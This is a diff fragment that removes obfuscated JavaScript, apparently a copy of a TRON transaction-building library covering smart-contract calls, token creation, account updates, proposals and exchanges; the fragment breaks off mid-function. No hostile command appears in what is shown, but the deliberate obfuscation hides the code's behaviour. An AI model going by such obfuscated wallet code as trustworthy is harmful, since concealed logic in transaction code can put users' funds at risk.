- value: _0x8c3370,
- gte: 0
- }, {
- name: "parameters",
- type: "array",
- value: _0x23c416
- }, {
- name: "contract",
- type: "address",
- value: _0x10499c
- }, {
- name: "issuer",
- type: "address",
- value: _0x3c8c01,
- optional: true
- }, {
- name: "tokenValue",
- type: "integer",
- value: _0x2eda65,
- gte: 0,
- optional: true
- }, {
- name: "tokenId",
- type: "integer",
- value: _0x53d71f,
- gte: 0,
- optional: true
- }], _0x5c39c3)) {
- var _0x3305da;
- try {
- _0x3305da = this._getTriggerSmartContractArgs(_0x10499c, _0x368cb3, _0x49278a, _0x23c416, _0x3c8c01, _0x2eda65, _0x53d71f, _0x8c3370, _0x18774b);
- } catch (_0x1fcd26) {
- return _0x5c39c3(_0x1fcd26);
- }
- _0x3305da.function_selector && (_0x3305da.data = _0xa68238(Buffer.from(_0x3305da.function_selector, "utf-8")).toString().substring(2, 10) + _0x3305da.parameter);
- var _0x41505b = {
- data: _0x3305da.data,
- owner_address: _0x3305da.owner_address,
- contract_address: _0x3305da.contract_address
- };
- _0x3305da.call_value && (_0x41505b.call_value = _0x3305da.call_value);
- _0x3305da.call_token_value && (_0x41505b.call_token_value = _0x3305da.call_token_value);
- _0x3305da.token_id && (_0x41505b.token_id = _0x3305da.token_id);
- var _0x37f97d = _0x3148dc(_0x49278a);
- _0x4fe786(this.tronWeb, "TriggerSmartContract", _0x41505b, _0x49278a.permissionId, _0x53648b(_0x53648b({}, _0x37f97d), {}, {
- fee_limit: _0x3305da.fee_limit
- })).then(function (_0x1a86ed) {
- _0x5c39c3(null, {
- result: {
- result: true
- },
- transaction: _0x1a86ed
- });
- }).catch(function (_0x27ca65) {
- return _0x5c39c3(_0x27ca65);
- });
- }
- }
- }, {
- key: "_triggerSmartContract",
- value: function (_0x1677d0, _0x3ac1d8) {
- var _0x2155a0 = arguments.length > 2 && undefined !== arguments[2] ? arguments[2] : {};
- var _0x2a3fbd = arguments.length > 3 && undefined !== arguments[3] ? arguments[3] : [];
- var _0x5ea48b = arguments.length > 4 && undefined !== arguments[4] ? arguments[4] : this.tronWeb.defaultAddress.hex;
- var _0x512413 = arguments.length > 5 && undefined !== arguments[5] && arguments[5];
- if (_0x1db97c.isFunction(_0x5ea48b) && (_0x512413 = _0x5ea48b, _0x5ea48b = this.tronWeb.defaultAddress.hex), _0x1db97c.isFunction(_0x2a3fbd) && (_0x512413 = _0x2a3fbd, _0x2a3fbd = []), !_0x512413) {
- return this.injectPromise(this._triggerSmartContract, _0x1677d0, _0x3ac1d8, _0x2155a0, _0x2a3fbd, _0x5ea48b);
- }
- var _0xfec01f = Object.assign({
- callValue: 0,
- feeLimit: this.tronWeb.feeLimit
- }, _0x2155a0);
- var _0x919e4a = _0xfec01f.tokenValue;
- var _0x44816c = _0xfec01f.tokenId;
- var _0x27fdc6 = _0xfec01f.callValue;
- var _0x322592 = _0xfec01f.feeLimit;
- if (!this.validator.notValid([{
- name: "feeLimit",
- type: "integer",
- value: _0x322592,
- gt: 0
- }, {
- name: "callValue",
- type: "integer",
- value: _0x27fdc6,
- gte: 0
- }, {
- name: "parameters",
- type: "array",
- value: _0x2a3fbd
- }, {
- name: "contract",
- type: "address",
- value: _0x1677d0
- }, {
- name: "issuer",
- type: "address",
- value: _0x5ea48b,
- optional: true
- }, {
- name: "tokenValue",
- type: "integer",
- value: _0x919e4a,
- gte: 0,
- optional: true
- }, {
- name: "tokenId",
- type: "integer",
- value: _0x44816c,
- gte: 0,
- optional: true
- }], _0x512413)) {
- var _0x8ff9e8;
- try {
- _0x8ff9e8 = this._getTriggerSmartContractArgs(_0x1677d0, _0x3ac1d8, _0x2155a0, _0x2a3fbd, _0x5ea48b, _0x919e4a, _0x44816c, _0x27fdc6, _0x322592);
- } catch (_0x6adfb) {
- return _0x512413(_0x6adfb);
- }
- var _0x543842 = "triggersmartcontract";
- _0x2155a0._isConstant ? _0x543842 = "triggerconstantcontract" : _0x2155a0.estimateEnergy && (_0x543842 = "estimateenergy");
- _0x543842 = "wallet".concat(_0x2155a0.confirmed ? "solidity" : "", "/").concat(_0x543842);
- this.tronWeb[_0x2155a0.confirmed ? "solidityNode" : "fullNode"].request(_0x543842, _0x8ff9e8, "post").then(function (_0x48f79b) {
- return function (_0x5eb3a5, _0x3c6144, _0x334e19, _0x4865be) {
- return _0x5eb3a5.Error ? _0x4865be(_0x5eb3a5.Error) : _0x5eb3a5.result && _0x5eb3a5.result.message ? _0x4865be(_0x40e30d.tronWeb.toUtf8(_0x5eb3a5.result.message)) : _0x334e19._isConstant || _0x334e19.estimateEnergy || _0x2a2290(_0x5eb3a5.transaction, _0x3c6144, _0x334e19) ? _0x4865be(null, _0x5eb3a5) : _0x4865be("Invalid transaction");
- }(_0x48f79b, _0x8ff9e8, _0x2155a0, _0x512413);
- }).catch(function (_0x4866d5) {
- return _0x512413(_0x4866d5);
- });
- }
- }
- }, {
- key: "clearABI",
- value: function (_0x15abb2) {
- var _0x44ac16;
- var _0x4d66db = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : this.tronWeb.defaultAddress.hex;
- var _0x2f1e69 = arguments.length > 2 ? arguments[2] : undefined;
- var _0x570aa5 = arguments.length > 3 && undefined !== arguments[3] && arguments[3];
- if (_0x1db97c.isFunction(_0x2f1e69) && (_0x570aa5 = _0x2f1e69, _0x2f1e69 = {}), _0x1db97c.isFunction(_0x4d66db) ? (_0x570aa5 = _0x4d66db, _0x4d66db = this.tronWeb.defaultAddress.hex) : _0x1db97c.isObject(_0x4d66db) && (_0x2f1e69 = _0x4d66db, _0x4d66db = this.tronWeb.defaultAddress.hex), !_0x570aa5) {
- return this.injectPromise(this.clearABI, _0x15abb2, _0x4d66db, _0x2f1e69);
- }
- if (!this.tronWeb.isAddress(_0x15abb2)) {
- return _0x570aa5("Invalid contract address provided");
- }
- if (!this.tronWeb.isAddress(_0x4d66db)) {
- return _0x570aa5("Invalid owner address provided");
- }
- var _0x185660 = {
- contract_address: _0x21f364(_0x15abb2),
- owner_address: _0x21f364(_0x4d66db)
- };
- this.tronWeb.trx.cache.contracts[_0x15abb2] && delete this.tronWeb.trx.cache.contracts[_0x15abb2];
- var _0x1d446b = _0x3148dc(_0x2f1e69);
- _0x4fe786(this.tronWeb, "ClearABIContract", _0x185660, null === (_0x44ac16 = _0x2f1e69) || undefined === _0x44ac16 ? undefined : _0x44ac16.permissionId, _0x1d446b).then(function (_0x4bad) {
- return _0x570aa5(null, _0x4bad);
- }).catch(function (_0x379445) {
- return _0x570aa5(_0x379445);
- });
- }
- }, {
- key: "updateBrokerage",
- value: function (_0x538605) {
- var _0x83806b;
- var _0xdd9878 = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : this.tronWeb.defaultAddress.hex;
- var _0x4b03bd = arguments.length > 2 ? arguments[2] : undefined;
- var _0x37a007 = arguments.length > 3 && undefined !== arguments[3] && arguments[3];
- if (_0x1db97c.isFunction(_0x4b03bd) && (_0x37a007 = _0x4b03bd, _0x4b03bd = {}), _0x1db97c.isFunction(_0xdd9878) ? (_0x37a007 = _0xdd9878, _0xdd9878 = this.tronWeb.defaultAddress.hex) : _0x1db97c.isObject(_0xdd9878) && (_0x4b03bd = _0xdd9878, _0xdd9878 = this.tronWeb.defaultAddress.hex), !_0x37a007) {
- return this.injectPromise(this.updateBrokerage, _0x538605, _0xdd9878, _0x4b03bd);
- }
- if (!_0x1db97c.isNotNullOrUndefined(_0x538605)) {
- return _0x37a007("Invalid brokerage provided");
- }
- if (!_0x1db97c.isInteger(_0x538605) || _0x538605 < 0 || _0x538605 > 100) {
- return _0x37a007("Brokerage must be an integer between 0 and 100");
- }
- if (!this.tronWeb.isAddress(_0xdd9878)) {
- return _0x37a007("Invalid owner address provided");
- }
- var _0x20fa1b = {
- brokerage: parseInt(_0x538605),
- owner_address: _0x21f364(_0xdd9878)
- };
- var _0x505c3b = _0x3148dc(_0x4b03bd);
- _0x4fe786(this.tronWeb, "UpdateBrokerageContract", _0x20fa1b, null === (_0x83806b = _0x4b03bd) || undefined === _0x83806b ? undefined : _0x83806b.permissionId, _0x505c3b).then(function (_0x4974b4) {
- return _0x37a007(null, _0x4974b4);
- }).catch(function (_0x5f0be8) {
- return _0x37a007(_0x5f0be8);
- });
- }
- }, {
- key: "createToken",
- value: function () {
- var _0x127b87 = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : {};
- var _0x5e5b09 = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : this.tronWeb.defaultAddress.hex;
- var _0x14c74e = arguments.length > 2 && undefined !== arguments[2] && arguments[2];
- if (_0x1db97c.isFunction(_0x5e5b09) && (_0x14c74e = _0x5e5b09, _0x5e5b09 = this.tronWeb.defaultAddress.hex), !_0x14c74e) {
- return this.injectPromise(this.createToken, _0x127b87, _0x5e5b09);
- }
- var _0x3ad848 = _0x127b87.name;
- var _0x38fc38 = undefined !== _0x3ad848 && _0x3ad848;
- var _0x34298c = _0x127b87.abbreviation;
- var _0x14a143 = undefined !== _0x34298c && _0x34298c;
- var _0x5b54a4 = _0x127b87.description;
- var _0x336e18 = undefined === _0x5b54a4 ? "" : _0x5b54a4;
- var _0x328e55 = _0x127b87.url;
- var _0xff9a9b = undefined !== _0x328e55 && _0x328e55;
- var _0x4066a2 = _0x127b87.totalSupply;
- var _0x21992f = undefined === _0x4066a2 ? 0 : _0x4066a2;
- var _0xd9a8d5 = _0x127b87.trxRatio;
- var _0x4474d3 = undefined === _0xd9a8d5 ? 1 : _0xd9a8d5;
- var _0x4c173a = _0x127b87.tokenRatio;
- var _0x1530de = undefined === _0x4c173a ? 1 : _0x4c173a;
- var _0x268e39 = _0x127b87.saleStart;
- var _0x131c5b = undefined === _0x268e39 ? Date.now() : _0x268e39;
- var _0x39d918 = _0x127b87.saleEnd;
- var _0x40017a = undefined !== _0x39d918 && _0x39d918;
- var _0x6e1e0d = _0x127b87.freeBandwidth;
- var _0x568644 = undefined === _0x6e1e0d ? 0 : _0x6e1e0d;
- var _0x36e0c4 = _0x127b87.freeBandwidthLimit;
- var _0x5cf020 = undefined === _0x36e0c4 ? 0 : _0x36e0c4;
- var _0x4a888a = _0x127b87.frozenAmount;
- var _0x4f7d3e = undefined === _0x4a888a ? 0 : _0x4a888a;
- var _0x3f7495 = _0x127b87.frozenDuration;
- var _0x39644a = undefined === _0x3f7495 ? 0 : _0x3f7495;
- var _0xfb028d = _0x127b87.voteScore;
- var _0x4bcfc5 = _0x127b87.precision;
- if (!this.validator.notValid([{
- name: "Supply amount",
- type: "positive-integer",
- value: _0x21992f
- }, {
- name: "TRX ratio",
- type: "positive-integer",
- value: _0x4474d3
- }, {
- name: "Token ratio",
- type: "positive-integer",
- value: _0x1530de
- }, {
- name: "token abbreviation",
- type: "string",
- value: _0x14a143,
- lte: 32,
- gt: 0
- }, {
- name: "token name",
- type: "not-empty-string",
- value: _0x38fc38
- }, {
- name: "token description",
- type: "string",
- value: _0x336e18,
- lte: 200
- }, {
- name: "token url",
- type: "url",
- value: _0xff9a9b
- }, {
- name: "token url",
- type: "string",
- value: _0xff9a9b,
- lte: 256
- }, {
- name: "issuer",
- type: "address",
- value: _0x5e5b09
- }, {
- name: "sale start timestamp",
- type: "integer",
- value: _0x131c5b,
- gte: Date.now()
- }, {
- name: "sale end timestamp",
- type: "integer",
- value: _0x40017a,
- gt: _0x131c5b
- }, {
- name: "Frozen supply",
- type: "integer",
- value: _0x4f7d3e,
- gte: 0
- }, {
- name: "Frozen duration",
- type: "integer",
- value: _0x39644a,
- gte: 0
- }], _0x14c74e)) {
- if (_0x1db97c.isNotNullOrUndefined(_0xfb028d) && (!_0x1db97c.isInteger(_0xfb028d) || _0xfb028d <= 0)) {
- return _0x14c74e("voteScore must be a positive integer greater than 0");
- }
- if (_0x1db97c.isNotNullOrUndefined(_0x4bcfc5) && (!_0x1db97c.isInteger(_0x4bcfc5) || _0x4bcfc5 < 0 || _0x4bcfc5 > 6)) {
- return _0x14c74e("precision must be a positive integer >= 0 and <= 6");
- }
- var _0x4d465e = {
- owner_address: _0x21f364(_0x5e5b09),
- name: _0x5c310a(_0x38fc38),
- abbr: _0x5c310a(_0x14a143),
- description: _0x5c310a(_0x336e18),
- url: _0x5c310a(_0xff9a9b),
- total_supply: parseInt(_0x21992f),
- trx_num: parseInt(_0x4474d3),
- num: parseInt(_0x1530de),
- start_time: parseInt(_0x131c5b),
- end_time: parseInt(_0x40017a),
- frozen_supply: [{
- frozen_amount: parseInt(_0x4f7d3e),
- frozen_days: parseInt(_0x39644a)
- }]
- };
- ["name", "abbr", "description", "url"].forEach(function (_0x503c51) {
- _0x4d465e[_0x503c51] || delete _0x4d465e[_0x503c51];
- });
- parseInt(_0x4f7d3e) > 0 || delete _0x4d465e.frozen_supply;
- _0x568644 && !isNaN(parseInt(_0x568644)) && parseInt(_0x568644) >= 0 && (_0x4d465e.free_asset_net_limit = parseInt(_0x568644));
- _0x5cf020 && !isNaN(parseInt(_0x5cf020)) && parseInt(_0x5cf020) >= 0 && (_0x4d465e.public_free_asset_net_limit = parseInt(_0x5cf020));
- _0x4bcfc5 && !isNaN(parseInt(_0x4bcfc5)) && (_0x4d465e.precision = parseInt(_0x4bcfc5));
- _0xfb028d && !isNaN(parseInt(_0xfb028d)) && (_0x4d465e.vote_score = parseInt(_0xfb028d));
- var _0x50ec44 = _0x3148dc(_0x127b87);
- _0x4fe786(this.tronWeb, "AssetIssueContract", _0x4d465e, null == _0x127b87 ? undefined : _0x127b87.permissionId, _0x50ec44).then(function (_0x5ac785) {
- return _0x14c74e(null, _0x5ac785);
- }).catch(function (_0x3b3c57) {
- return _0x14c74e(_0x3b3c57);
- });
- }
- }
- }, {
- key: "createAccount",
- value: function (_0x4a61f9) {
- var _0x350567;
- var _0x12a6dc = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : this.tronWeb.defaultAddress.hex;
- var _0x2ba17f = arguments.length > 2 ? arguments[2] : undefined;
- var _0x5c1900 = arguments.length > 3 && undefined !== arguments[3] && arguments[3];
- if (_0x1db97c.isFunction(_0x2ba17f) && (_0x5c1900 = _0x2ba17f, _0x2ba17f = {}), _0x1db97c.isFunction(_0x12a6dc) ? (_0x5c1900 = _0x12a6dc, _0x12a6dc = this.tronWeb.defaultAddress.hex) : _0x1db97c.isObject(_0x12a6dc) && (_0x2ba17f = _0x12a6dc, _0x12a6dc = this.tronWeb.defaultAddress.hex), !_0x5c1900) {
- return this.injectPromise(this.createAccount, _0x4a61f9, _0x12a6dc, _0x2ba17f);
- }
- if (!this.validator.notValid([{
- name: "account",
- type: "address",
- value: _0x4a61f9
- }, {
- name: "origin",
- type: "address",
- value: _0x12a6dc
- }], _0x5c1900)) {
- var _0x58a8d2 = {
- owner_address: _0x21f364(_0x12a6dc),
- account_address: _0x21f364(_0x4a61f9)
- };
- var _0x4965e7 = _0x3148dc(_0x2ba17f);
- _0x4fe786(this.tronWeb, "AccountCreateContract", _0x58a8d2, null === (_0x350567 = _0x2ba17f) || undefined === _0x350567 ? undefined : _0x350567.permissionId, _0x4965e7).then(function (_0x1cb36d) {
- return _0x5c1900(null, _0x1cb36d);
- }).catch(function (_0x146ea9) {
- return _0x5c1900(_0x146ea9);
- });
- }
- }
- }, {
- key: "updateAccount",
- value: function () {
- var _0x2865e1;
- var _0xd3cd12 = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- var _0x2bc780 = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : this.tronWeb.defaultAddress.hex;
- var _0x439950 = arguments.length > 2 ? arguments[2] : undefined;
- var _0x324dd4 = arguments.length > 3 && undefined !== arguments[3] && arguments[3];
- if (_0x1db97c.isFunction(_0x439950) && (_0x324dd4 = _0x439950, _0x439950 = {}), _0x1db97c.isFunction(_0x2bc780) ? (_0x324dd4 = _0x2bc780, _0x2bc780 = this.tronWeb.defaultAddress.hex) : _0x1db97c.isObject(_0x2bc780) && (_0x439950 = _0x2bc780, _0x2bc780 = this.tronWeb.defaultAddress.hex), !_0x324dd4) {
- return this.injectPromise(this.updateAccount, _0xd3cd12, _0x2bc780, _0x439950);
- }
- if (!this.validator.notValid([{
- name: "Name",
- type: "string",
- lte: 200,
- gt: 0,
- value: _0xd3cd12,
- msg: "Invalid accountName"
- }, {
- name: "origin",
- type: "address",
- value: _0x2bc780
- }], _0x324dd4)) {
- var _0x23d79d = {
- account_name: _0x5c310a(_0xd3cd12),
- owner_address: _0x21f364(_0x2bc780)
- };
- var _0x3814c4 = _0x3148dc(_0x439950);
- _0x4fe786(this.tronWeb, "AccountUpdateContract", _0x23d79d, null === (_0x2865e1 = _0x439950) || undefined === _0x2865e1 ? undefined : _0x2865e1.permissionId, _0x3814c4).then(function (_0x415a17) {
- return _0x324dd4(null, _0x415a17);
- }).catch(function (_0x2a6012) {
- return _0x324dd4(_0x2a6012);
- });
- }
- }
- }, {
- key: "setAccountId",
- value: function (_0x595e50) {
- var _0x45324a;
- var _0x556271 = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : this.tronWeb.defaultAddress.hex;
- var _0x3c5e9a = arguments.length > 2 ? arguments[2] : undefined;
- var _0x21680e = arguments.length > 3 && undefined !== arguments[3] && arguments[3];
- if (_0x1db97c.isFunction(_0x3c5e9a) && (_0x21680e = _0x3c5e9a, _0x3c5e9a = {}), _0x1db97c.isFunction(_0x556271) ? (_0x21680e = _0x556271, _0x556271 = this.tronWeb.defaultAddress.hex) : _0x1db97c.isObject(_0x556271) && (_0x3c5e9a = _0x556271, _0x556271 = this.tronWeb.defaultAddress.hex), !_0x21680e) {
- return this.injectPromise(this.setAccountId, _0x595e50, _0x556271, _0x3c5e9a);
- }
- if (_0x595e50 && _0x1db97c.isString(_0x595e50) && _0x595e50.startsWith("0x") && (_0x595e50 = _0x595e50.slice(2)), !this.validator.notValid([{
- name: "accountId",
- type: "hex",
- value: _0x595e50
- }, {
- name: "accountId",
- type: "string",
- lte: 32,
- gte: 8,
- value: _0x595e50
- }, {
- name: "origin",
- type: "address",
- value: _0x556271
- }], _0x21680e)) {
- var _0x191585 = {
- account_id: _0x595e50,
- owner_address: _0x21f364(_0x556271)
- };
- var _0x314950 = _0x3148dc(_0x3c5e9a);
- _0x4fe786(this.tronWeb, "SetAccountIdContract", _0x191585, null === (_0x45324a = _0x3c5e9a) || undefined === _0x45324a ? undefined : _0x45324a.permissionId, _0x314950).then(function (_0x379376) {
- return _0x21680e(null, _0x379376);
- }).catch(function (_0x3a9df3) {
- return _0x21680e(_0x3a9df3);
- });
- }
- }
- }, {
- key: "updateToken",
- value: function () {
- var _0x384b57;
- var _0x14711c = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : {};
- var _0x1f9297 = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : this.tronWeb.defaultAddress.hex;
- var _0x22b80d = arguments.length > 2 && undefined !== arguments[2] && arguments[2];
- if (_0x1db97c.isFunction(_0x1f9297) ? (_0x22b80d = _0x1f9297, _0x1f9297 = this.tronWeb.defaultAddress.hex) : _0x1db97c.isObject(_0x1f9297) && (_0x14711c = _0x1f9297, _0x1f9297 = this.tronWeb.defaultAddress.hex), !_0x22b80d) {
- return this.injectPromise(this.updateToken, _0x14711c, _0x1f9297);
- }
- var _0x154775 = _0x14711c;
- var _0x51c05a = _0x154775.description;
- var _0xcdc8db = undefined === _0x51c05a ? "" : _0x51c05a;
- var _0x1874d3 = _0x154775.url;
- var _0xc38db4 = undefined !== _0x1874d3 && _0x1874d3;
- var _0x33582f = _0x154775.freeBandwidth;
- var _0x1cf04e = undefined === _0x33582f ? 0 : _0x33582f;
- var _0xe46bd1 = _0x154775.freeBandwidthLimit;
- var _0x38cb41 = undefined === _0xe46bd1 ? 0 : _0xe46bd1;
- if (!this.validator.notValid([{
- name: "token description",
- type: "string",
- value: _0xcdc8db,
- lte: 200
- }, {
- name: "token url",
- type: "url",
- value: _0xc38db4
- }, {
- name: "token url",
- type: "string",
- value: _0xc38db4,
- lte: 256
- }, {
- name: "issuer",
- type: "address",
- value: _0x1f9297
- }], _0x22b80d)) {
- var _0x20552d = {
- owner_address: _0x21f364(_0x1f9297),
- description: _0x5c310a(_0xcdc8db),
- url: _0x5c310a(_0xc38db4)
- };
- _0x1cf04e && !isNaN(parseInt(_0x1cf04e)) && parseInt(_0x1cf04e) >= 0 && (_0x20552d.new_limit = parseInt(_0x1cf04e));
- _0x38cb41 && !isNaN(parseInt(_0x38cb41)) && parseInt(_0x38cb41) >= 0 && (_0x20552d.new_public_limit = parseInt(_0x38cb41));
- var _0x3cea1d = _0x3148dc(_0x14711c);
- _0x4fe786(this.tronWeb, "UpdateAssetContract", _0x20552d, null === (_0x384b57 = _0x14711c) || undefined === _0x384b57 ? undefined : _0x384b57.permissionId, _0x3cea1d).then(function (_0x271020) {
- return _0x22b80d(null, _0x271020);
- }).catch(function (_0x5ec285) {
- return _0x22b80d(_0x5ec285);
- });
- }
- }
- }, {
- key: "sendAsset",
- value: function () {
- return this.sendToken.apply(this, arguments);
- }
- }, {
- key: "purchaseAsset",
- value: function () {
- return this.purchaseToken.apply(this, arguments);
- }
- }, {
- key: "createAsset",
- value: function () {
- return this.createToken.apply(this, arguments);
- }
- }, {
- key: "updateAsset",
- value: function () {
- return this.updateToken.apply(this, arguments);
- }
- }, {
- key: "createProposal",
- value: function () {
- var _0x570cf6;
- var _0x267801 = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- var _0x1763d5 = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : this.tronWeb.defaultAddress.hex;
- var _0x52c39a = arguments.length > 2 ? arguments[2] : undefined;
- var _0x5a5f44 = arguments.length > 3 && undefined !== arguments[3] && arguments[3];
- if (_0x1db97c.isFunction(_0x52c39a) && (_0x5a5f44 = _0x52c39a, _0x52c39a = {}), _0x1db97c.isFunction(_0x1763d5) ? (_0x5a5f44 = _0x1763d5, _0x1763d5 = this.tronWeb.defaultAddress.hex) : _0x1db97c.isObject(_0x1763d5) && (_0x52c39a = _0x1763d5, _0x1763d5 = this.tronWeb.defaultAddress.hex), !_0x5a5f44) {
- return this.injectPromise(this.createProposal, _0x267801, _0x1763d5, _0x52c39a);
- }
- if (!this.validator.notValid([{
- name: "issuer",
- type: "address",
- value: _0x1763d5
- }], _0x5a5f44)) {
- var _0x1d6f91 = "Invalid proposal parameters provided";
- if (!_0x267801) {
- return _0x5a5f44(_0x1d6f91);
- }
- _0x1db97c.isArray(_0x267801) || (_0x267801 = [_0x267801]);
- var _0x52cab0;
- var _0x1246d4 = _0x11f780(_0x267801);
- try {
- for (_0x1246d4.s(); !(_0x52cab0 = _0x1246d4.n()).done;) {
- var _0x50aaa4 = _0x52cab0.value;
- if (!_0x1db97c.isObject(_0x50aaa4)) {
- return _0x5a5f44(_0x1d6f91);
- }
- }
- } catch (_0xfdfae5) {
- _0x1246d4.e(_0xfdfae5);
- } finally {
- _0x1246d4.f();
- }
- var _0x567b02 = {
- owner_address: _0x21f364(_0x1763d5),
- parameters: _0x267801
- };
- var _0x3a5c7d = _0x3148dc(_0x52c39a);
- _0x4fe786(this.tronWeb, "ProposalCreateContract", _0x567b02, null === (_0x570cf6 = _0x52c39a) || undefined === _0x570cf6 ? undefined : _0x570cf6.permissionId, _0x3a5c7d).then(function (_0x57c685) {
- return _0x5a5f44(null, _0x57c685);
- }).catch(function (_0x50b3de) {
- return _0x5a5f44(_0x50b3de);
- });
- }
- }
- }, {
- key: "deleteProposal",
- value: function () {
- var _0x341791;
- var _0x451e69 = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- var _0x58d8b8 = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : this.tronWeb.defaultAddress.hex;
- var _0x1efd42 = arguments.length > 2 ? arguments[2] : undefined;
- var _0x172fd7 = arguments.length > 3 && undefined !== arguments[3] && arguments[3];
- if (_0x1db97c.isFunction(_0x1efd42) && (_0x172fd7 = _0x1efd42, _0x1efd42 = {}), _0x1db97c.isFunction(_0x58d8b8) ? (_0x172fd7 = _0x58d8b8, _0x58d8b8 = this.tronWeb.defaultAddress.hex) : _0x1db97c.isObject(_0x58d8b8) && (_0x1efd42 = _0x58d8b8, _0x58d8b8 = this.tronWeb.defaultAddress.hex), !_0x172fd7) {
- return this.injectPromise(this.deleteProposal, _0x451e69, _0x58d8b8, _0x1efd42);
- }
- if (!this.validator.notValid([{
- name: "issuer",
- type: "address",
- value: _0x58d8b8
- }, {
- name: "proposalID",
- type: "integer",
- value: _0x451e69,
- gte: 0
- }], _0x172fd7)) {
- var _0x2a8567 = {
- owner_address: _0x21f364(_0x58d8b8),
- proposal_id: parseInt(_0x451e69)
- };
- var _0x4e8d81 = _0x3148dc(_0x1efd42);
- _0x4fe786(this.tronWeb, "ProposalDeleteContract", _0x2a8567, null === (_0x341791 = _0x1efd42) || undefined === _0x341791 ? undefined : _0x341791.permissionId, _0x4e8d81).then(function (_0x5b493b) {
- return _0x172fd7(null, _0x5b493b);
- }).catch(function (_0x25e5db) {
- return _0x172fd7(_0x25e5db);
- });
- }
- }
- }, {
- key: "voteProposal",
- value: function () {
- var _0x5bba0d;
- var _0x417aa2 = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- var _0x5d1f0c = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- var _0x531134 = arguments.length > 2 && undefined !== arguments[2] ? arguments[2] : this.tronWeb.defaultAddress.hex;
- var _0x4dd2fa = arguments.length > 3 ? arguments[3] : undefined;
- var _0x8ad74d = arguments.length > 4 && undefined !== arguments[4] && arguments[4];
- if (_0x1db97c.isFunction(_0x4dd2fa) && (_0x8ad74d = _0x4dd2fa, _0x4dd2fa = {}), _0x1db97c.isFunction(_0x531134) ? (_0x8ad74d = _0x531134, _0x531134 = this.tronWeb.defaultAddress.hex) : _0x1db97c.isObject(_0x531134) && (_0x4dd2fa = _0x531134, _0x531134 = this.tronWeb.defaultAddress.hex), !_0x8ad74d) {
- return this.injectPromise(this.voteProposal, _0x417aa2, _0x5d1f0c, _0x531134, _0x4dd2fa);
- }
- if (!this.validator.notValid([{
- name: "voter",
- type: "address",
- value: _0x531134
- }, {
- name: "proposalID",
- type: "integer",
- value: _0x417aa2,
- gte: 0
- }, {
- name: "has approval",
- type: "boolean",
- value: _0x5d1f0c
- }], _0x8ad74d)) {
- var _0x359a28 = {
- owner_address: _0x21f364(_0x531134),
- proposal_id: parseInt(_0x417aa2),
- is_add_approval: _0x5d1f0c
- };
- var _0x5a3722 = _0x3148dc(_0x4dd2fa);
- _0x4fe786(this.tronWeb, "ProposalApproveContract", _0x359a28, null === (_0x5bba0d = _0x4dd2fa) || undefined === _0x5bba0d ? undefined : _0x5bba0d.permissionId, _0x5a3722).then(function (_0x223319) {
- return _0x8ad74d(null, _0x223319);
- }).catch(function (_0x511349) {
- return _0x8ad74d(_0x511349);
- });
- }
- }
- }, {
- key: "createTRXExchange",
- value: function (_0x3ca9f9, _0x35b2b6, _0x629b93) {
- var _0x5c29bb;
- var _0x1d215f = arguments.length > 3 && undefined !== arguments[3] ? arguments[3] : this.tronWeb.defaultAddress.hex;
- var _0xf44b60 = arguments.length > 4 ? arguments[4] : undefined;
- var _0x560eb3 = arguments.length > 5 && undefined !== arguments[5] && arguments[5];
- if (_0x1db97c.isFunction(_0xf44b60) && (_0x560eb3 = _0xf44b60, _0xf44b60 = {}), _0x1db97c.isFunction(_0x1d215f) ? (_0x560eb3 = _0x1d215f, _0x1d215f = this.tronWeb.defaultAddress.hex) : _0x1db97c.isObject(_0x1d215f) && (_0xf44b60 = _0x1d215f, _0x1d215f = this.tronWeb.defaultAddress.hex), !_0x560eb3) {
- return this.injectPromise(this.createTRXExchange, _0x3ca9f9, _0x35b2b6, _0x629b93, _0x1d215f, _0xf44b60);
- }
- if (!this.validator.notValid([{
- name: "owner",
- type: "address",
- value: _0x1d215f
- }, {
- name: "token name",
- type: "not-empty-string",
- value: _0x3ca9f9
- }, {
- name: "token balance",
- type: "positive-integer",
- value: _0x35b2b6
- }, {
- name: "trx balance",
- type: "positive-integer",
- value: _0x629b93
- }], _0x560eb3)) {
- var _0x1b3102 = {
- owner_address: _0x21f364(_0x1d215f),
- first_token_id: _0x5c310a(_0x3ca9f9),
- first_token_balance: _0x35b2b6,
- second_token_id: "5f",
- second_token_balance: _0x629b93
- };
- var _0x1bde3d = _0x3148dc(_0xf44b60);
- _0x4fe786(this.tronWeb, "ExchangeCreateContract", _0x1b3102, null === (_0x5c29bb = _0xf44b60) || undefined === _0x5c29bb ? undefined : _0x5c29bb.permissionId, _0x1bde3d).then(function (_0x3ebe06) {
- return _0x560eb3(null, _0x3ebe06);
- }).catch(function (_0x516aae) {
- return _0x560eb3(_0x516aae);
- });
- }
- }
- }, {
- key: "createTokenExchange",
- value: function (_0x13f79a, _0xcec987, _0x476367, _0x5e70fd) {
- var _0x5b2ccd;
- var _0x3c74f2 = arguments.length > 4 && undefined !== arguments[4] ? arguments[4] : this.tronWeb.defaultAddress.hex;
- var _0x3f0dbd = arguments.length > 5 ? arguments[5] : undefined;
- var _0xee3b5b = arguments.length > 6 && undefined !== arguments[6] && arguments[6];
- if (_0x1db97c.isFunction(_0x3f0dbd) && (_0xee3b5b = _0x3f0dbd, _0x3f0dbd = {}), _0x1db97c.isFunction(_0x3c74f2) ? (_0xee3b5b = _0x3c74f2, _0x3c74f2 = this.tronWeb.defaultAddress.hex) : _0x1db97c.isObject(_0x3c74f2) && (_0x3f0dbd = _0x3c74f2, _0x3c74f2 = this.tronWeb.defaultAddress.hex), !_0xee3b5b) {
- return this.injectPromise(this.createTokenExchange, _0x13f79a, _0xcec987, _0x476367, _0x5e70fd, _0x3c74f2, _0x3f0dbd);
- }
- if (!this.validator.notValid([{
